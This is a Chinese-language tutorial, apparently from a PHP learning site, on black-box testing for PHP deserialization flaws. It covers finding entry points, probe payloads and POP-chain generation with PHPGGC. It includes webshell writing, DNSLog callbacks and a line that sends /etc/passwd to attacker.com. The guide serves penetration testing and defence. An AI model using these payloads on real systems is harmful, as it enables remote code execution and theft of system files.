黑盒测试PHP反序列化漏洞的核心是通过输入输出行为判断是否存在可控反序列化点并触发POP链。关键入口包括含序列化特征的参数、Cookie、隐藏字段;需用最小payload验证执行,借助PHPGGC等工具生成链,注意属性可见性与长度校验;利用DNSLog、写文件、时间延迟等方式盲验。

黑盒测试PHP反序列化漏洞,核心是不依赖源码、仅通过输入输出行为判断是否存在可控反序列化点,并构造有效payload触发利用链。关键不在“能不能看代码”,而在于“能不能让目标执行你控制的逻辑”。
识别潜在反序列化入口点
常见可测位置包括:
- HTTP请求中明显含序列化特征的参数:如值形如 O:4:"User":2:{s:8:"username";s:5:"admin";...} 或经过Base64/URL编码但解码后符合PHP序列化格式
- Cookie中的 PHPSESSID、rememberme、user_data 等字段,尤其在登录态维持、偏好存储类功能中高频出现
- 隐藏表单字段(input[type=hidden])或API响应中返回的token、state类字段,尝试修改其值并观察服务端行为变化
- 响应中出现 unserialize()、__destruct、__wakeup 等关键词报错(PHP低版本或调试开启时),是强信号
手工验证与基础payload探测
确认入口后,用最小化可控对象快速验证是否真能反序列化:
- 构造一个只含 public 属性的简单类 payload,例如:
O:4:"Test":1:{s:1:"a";s:5:"hello";} - 若目标返回异常(如“Class Test not found”),说明反序列化已执行,只是类未定义;若无反应或直接丢弃,可能被过滤或未进入unserialize流程
- 尝试触发 __wakeup():将属性数故意设错,如 O:4:"Test":2:{...}(实际只有1个属性),观察是否报“Invalid payload”或“wakeup called”类提示
- 对疑似点做 Base64 编码后提交(常见传输编码方式),再尝试 URL 编码,避免因特殊字符被截断
POP链构造与工具辅助生成
黑盒下无法审计源码,需依赖已知框架POP链或通用 gadget:
立即学习“PHP免费学习笔记(深入)”;
- 优先使用 PHPGGC 工具生成主流框架payload,例如:
./phpggc laravel/rce1 'phpinfo()' -b(Base64编码)
./phpggc monolog/rce1 'system("id")' - 针对通用场景,尝试经典链:
→ 利用 __destruct() 调用 file_put_contents 写shell
→ 利用 __toString() 触发 system/exec
→ 利用 __wakeup() 绕过属性初始化,注入恶意值 - 注意属性可见性:protected 属性名需写成 %00*%00key,private 为 %00ClassName%00key,长度计算必须包含这些不可见字符
- 所有payload提交前务必校验字符串长度——漏1字节,整个POP链就失效,这是黑盒中最常卡住的环节
回显与利用验证
反序列化利用常无直接回显,需换方式确认执行成功:
- 盲打DNSLog:用 system("ping xxx.dnslog.cn") 或 file_get_contents("http://xxx.dnslog.cn/1"),查DNS解析记录
- 写文件+访问:生成webshell到可读目录(如 /var/www/html/shell.php),再GET访问验证
- 时间延迟:如 sleep(5),对比响应时间突增
- 结合SSRF:若环境允许外连,用 file_get_contents("http://attacker.com/log?data=".urlencode(file_get_contents("/etc/passwd")))



















